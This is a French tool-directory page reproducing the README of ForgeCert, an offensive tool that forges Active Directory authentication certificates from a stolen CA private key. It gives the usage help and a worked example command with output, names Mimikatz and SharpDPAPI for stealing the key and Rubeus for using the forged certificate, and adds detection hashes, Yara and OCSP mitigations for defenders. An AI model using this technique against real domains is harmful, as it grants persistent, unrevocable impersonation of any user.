Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ForgeCert — Forger des certificats pour l'authentification Active Directory en utilisant des clés privées d'autorité de certification volées, permettant un accès persistant au domaine avec des fichiers .pfx falsifiés. | Kitploit
Outils/GitHubGitHub/ghostpack/forgecert
Génération de PayloadsMécanismes de PersistanceExploitationAuthentification
GitHubghostpack/forgecert

ForgeCert

Forger des certificats pour l'authentification Active Directory en utilisant des clés privées d'autorité de certification volées, permettant un accès persistant au domaine avec des fichiers .pfx falsifiés.

Voir le dépôt
715115il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ForgeCert

ForgeCert utilise l'API BouncyCastle C# et un certificat d'autorité de certification (CA) volé ainsi que sa clé privée pour forger des certificats pour des utilisateurs arbitraires capables de s'authentifier sur Active Directory.

Cette attaque est codifiée sous le nom DPERSIST1 dans notre livre blanc "Certified Pre-Owned". Cette base de code a été publiée environ 45 jours après la publication du livre blanc.

@tifkin_ est l'auteur principal de ForgeCert.

@tifkin_ et @harmj0y sont les auteurs principaux de la recherche associée sur les services de certificat Active Directory (blog et livre blanc).

Contexte

Comme décrit dans les sections Background et Forging Certificates with Stolen CA Certificates - DPERSIST1 de notre livre blanc, la clé privée du certificat CA d'une autorité de certification est protégée sur le serveur CA soit via DPAPI, soit par du matériel (HSM/TPM). De plus, le certificat (sans la clé privée) est publié dans l'objet de forêt NTAuthCertificates, qui définit les certificats CA permettant l'authentification à AD. Ensemble, une CA dont le certificat est présent dans NTAuthCertificates utilise sa clé privée pour signer les demandes de signature de certificat (CSR) des clients demandeurs. Ce graphique résume le processus :

La sécurité de la clé privée de la CA est primordiale. Comme mentionné, si la clé privée n'est pas protégée par une solution matérielle telle qu'un TPM ou un HSM, la clé sera chiffrée avec l'API de protection des données (DPAPI) et stockée sur le disque du serveur CA. Si un attaquant parvient à compromettre un serveur CA, il peut extraire la clé privée de tout certificat CA non protégé par du matériel en utilisant le Mimikatz de @gentilkiwi ou le projet SharpDPAPI de GhostPack. Le point THEFT3 du livre blanc décrit ce processus pour les certificats machine.

Étant donné que la seule matière clé utilisée pour signer les certificats émis est la clé privée de la CA, si un attaquant vole une telle clé (pour un certificat dans NTAuthCertificates), il peut forger des certificats capables d'authentification au domaine. Ces certificats falsifiés peuvent concerner n'importe quel principal du domaine (bien que le compte doive être "actif" pour que l'authentification soit possible, donc des comptes comme krbtgt ne fonctionneront pas) et les certificats seront valides aussi longtemps que le certificat CA est valide (généralement 5 ans par défaut, mais peut être configuré pour plus longtemps).

De plus, comme ces certificats ne sont pas le produit du processus d'émission normal, la CA n'a pas connaissance de leur création. Ainsi, les certificats ne peuvent pas être révoqués.

Remarque : la clé privée de TOUT certificat CA dans NTAuthCertificates (CA racine ou subordonnée) peut être utilisée pour forger des certificats capables d'authentification dans la forêt. Si le certificat/clé provient d'une CA subordonnée, une CRL légitime pour la vérification de la chaîne de certificats doit être fournie.

ForgeCert utilise le X509V3CertificateGenerator de BouncyCastle pour effectuer les falsifications.

Utilisation en ligne de commande

root@kitploit:~
C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c  2021

ERROR(S):
  Required option 'CaCertPath' is missing.
  Required option 'SubjectAltName' is missing.
  Required option 'NewCertPath' is missing.
  Required option 'NewCertPassword' is missing.

  --CaCertPath         Required. CA private key as a .pfx or .p12 file

  --CaCertPassword     Password to the CA private key file

  --Subject            (Default: CN=User) Subject name in the certificate

  --SubjectAltName     Required. UPN of the user to authenticate as

  --NewCertPath        Required. Path where to save the new .pfx certificate

  --NewCertPassword    Required. Password to the .pfx file

  --CRL                ldap path to a CRL for the forged certificate

  --help               Display this help screen.

  --version            Display version information.

Utilisation

Remarque : pour une procédure complète de vol d'une clé privée CA et de forgeage de certificats d'authentification, voir DPERSIST1 dans le livre blanc.

Contexte :

  • Le certificat CA volé est ca.pfx, chiffré avec le mot de passe Password123!
  • Le sujet est arbitraire car nous spécifions un nom d'autre sujet (subject alternative name) pour le certificat.
  • Le nom d'autre sujet (c'est-à-dire l'utilisateur pour lequel nous forgeons un certificat) est [email protected].
  • Le certificat forgé sera enregistré sous localadmin.pfx, chiffré avec le mot de passe NewPassword123!
root@kitploit:~
C:\Tools\ForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"
CA Certificate Information:
  Subject:        CN=theshire-DC-CA, DC=theshire, DC=local
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     1/4/2021 10:48:02 AM
  End Date:       1/4/2026 10:58:02 AM
  Thumbprint:     187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
  Serial:         14BFC25F2B6EEDA94404D5A5B0F33E21

Forged Certificate Information:
  Subject:        CN=User
  SubjectAltName: [email protected]
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     7/26/2021 3:38:45 PM
  End Date:       7/26/2022 3:38:45 PM
  Thumbprint:     C5789A24E91A40819EFF7CFD77150595F8B9878D
  Serial:         3627A48F90F6869C3215FF05BC3B2E42

Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!'

Cette falsification peut être effectuée sur un système contrôlé par l'attaquant, et le certificat résultant peut être utilisé avec Rubeus pour demander un TGT (et/ou récupérer le NTLM de l'utilisateur ;)

Considérations défensives

Le TypeRefHash de la base de code actuelle de ForgeCert est b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0.

Le GUID TypeLib de ForgeCert est bd346689-8ee6-40b3-858b-4ed94f08d40a. Celui-ci est reflété dans les règles Yara actuellement dans ce dépôt.

Consultez PREVENT1, DETECT3 et DETECT5 dans notre livre blanc pour des conseils de prévention et de détection.

Fabian Bader a publié un excellent article sur la façon d'atténuer de nombreuses utilisations des "Golden Certificates" via des ajustements sur l'OCSP Microsoft. Notez cependant que dans la section Final Thoughts, il mentionne This method is not bulletproof at all. Since the attacker is in charge of the certificate creation process, she could just change the serial number to a valid one. Cela a été implémenté dans sa PR, mais rappelez-vous que par défaut le numéro de série sera aléatoire, ce qui signifie que la prévention OSCP devrait fonctionner dans de nombreux cas et vaut la peine d'être implémentée à notre avis.

Nous pensons qu'il pourrait y avoir des opportunités de construire des règles Yara/autres règles de détection pour les types de certificats forgés que ce projet produit – si des chercheurs défensifs trouvent un bon moyen de signer ces fichiers, veuillez nous le faire savoir et nous mettrons à jour les règles Yara/les conseils défensifs ici.

Réflexions

Il existe un parallèle évident entre les "Golden Tickets" (TGT forgés) et ces "Golden Certificates" (certificats AD CS forgés). Aussi bien le hachage krbtgt que la clé privée CA sont des éléments cryptographiques critiques pour la sécurité d'un environnement Active Directory, et les deux peuvent être utilisés pour forger des authentifiants pour des utilisateurs arbitraires. Cependant, alors que le hachage krbtgt peut être récupéré à distance via DCSync, une clé privée CA doit (au moins à notre connaissance) être récupérée par exécution de code sur la machine CA elle-même. Alors qu'un hachage krbtgt peut être changé relativement facilement, la rotation d'une clé privée CA est nettement plus difficile.

En ce qui concerne la divulgation publique, nous avons auto-imposé un embargo sur la sortie de nos outils offensifs (ForgeCert ainsi que Certify) pendant environ 45 jours après la publication de notre livre blanc afin de donner aux organisations une chance de prendre en main les problèmes entourant les services de certificat Active Directory. Cependant, nous avons constaté que les organisations et les fournisseurs n'ont souvent historiquement pas corrigé les problèmes ou construit de détections pour des attaques "théoriques" tant que quelqu'un n'a pas prouvé que quelque chose est possible avec une preuve de concept.

Cela se reflète dans la réaction de certaines personnes à la recherche : ceci EST STupiDE, bIEN SûR que VOUs POUvez FORger des CERtificats AVEC la CLÉ PRIVÉE de la CA. À quoi nous répondons, oui, beaucoup de choses sont possibles, mais PoC||GTFO

Télécharger l’outil